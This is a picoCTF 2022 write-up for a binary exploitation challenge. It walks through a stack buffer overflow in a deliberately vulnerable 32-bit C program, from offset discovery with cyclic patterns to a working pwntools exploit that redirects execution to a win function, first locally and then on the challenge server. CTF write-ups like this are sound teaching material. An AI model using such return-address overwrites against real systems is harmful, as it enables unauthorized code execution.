Points: 200
Tags: picoCTF 2022, Binary Exploitation
Author: SANJAY C / PALASH OSWAL
Description:
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 64722
Hints:
1. Make sure you consider big Endian vs small Endian.
2. Changing the address of the return pointer can call different functions.
Challenge link: https://play.picoctf.org/practice/challenge/258
Let's start by looking at the given files. First the C source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
We have a main
function that calls a vuln
function that is vulnerable to a buffer overflow due to the unbounded gets
call. If we input more than BUFSIZE
, that is 32 characters/bytes, we can overwrite the return address on the stack to call the win
function instead of returning to main
.
The vuln
file is a 32-bit ELF binary
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=685b06b911b19065f27c2d369c18ed09fbadb543, for GNU/Linux 3.2.0, not stripped
Next, we need to identify the offset on the stack to the return address from vuln
. If we send a specific sequence of characters that is a de Bruijn sequence we can easily calculate the offset to the memory address.
Creation of such a sequence can be done with pwntools cyclic
or metasploit's msf-pattern_create
.
And the lookup of the offset can then be done with cyclic
or msf-pattern_offset
.
We create a string that is a bit longer than 32
bytes, say 100
bytes.
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic 100 > pattern_100.txt
Then we try it out locally
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ cat pattern_100.txt | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
zsh: done cat pattern_100.txt |
zsh: segmentation fault ./vuln
The returned value is 0x6161616c
. Let's look this up
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic -l 0x6161616c
44
So the offset on the stack to the return address is 44
bytes.
Now we need to find out the virtual address of the win
function.
This can be done with objdump
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ objdump -t vuln | grep win
080491f6 g F .text 0000008b win
Or with gdb
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ gdb -batch -ex 'info functions' vuln | grep win
0x080491f6 win
So the address to win
is 0x080491f6
.
Let's write a small exploit in Python with the help of pwntools
#!/usr/bin/python
from pwn import *
import sys
# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 44
padding = b'A'
win = p32(0x080491f6) # Address to win function
payload = padding*offset + win
sys.stdout.buffer.write(payload)
Note that I used sys.stdout.buffer.write
here rather than print
.
print
will most likely UTF-8 encode your output and it won't work!
And then we try it out locally
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ echo "picoCTF{fake_flag}" > flag.txt
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/python local_exploit.py | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{fake_flag}
zsh: done ~/python_venvs/pwntools/bin/python local_exploit.py |
zsh: segmentation fault ./vuln
It works, but later the program crashes due to un invalid memory address after the win
function.
We can ignore this.
Finally, we modify the Python script to connect to the server instead
#!/usr/bin/python
from pwn import *
SERVER = 'saturn.picoctf.net'
PORT = 64722
io = remote(SERVER, PORT)
# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 44
padding = b'A'
win = p32(0x080491f6) # Address to win function
payload = padding*offset + win
sys.stdout.buffer.write(payload)
io.sendline(payload)
print(io.recvallS())
io.close()
And then we run the script to get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/python remote_exploit.py
[+] Opening connection to saturn.picoctf.net on port 64722: Done
[+] Receiving all data: Done (127B)
[*] Closed connection to saturn.picoctf.net port 64722
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{<REDACTED>}
For additional information, please see the references below.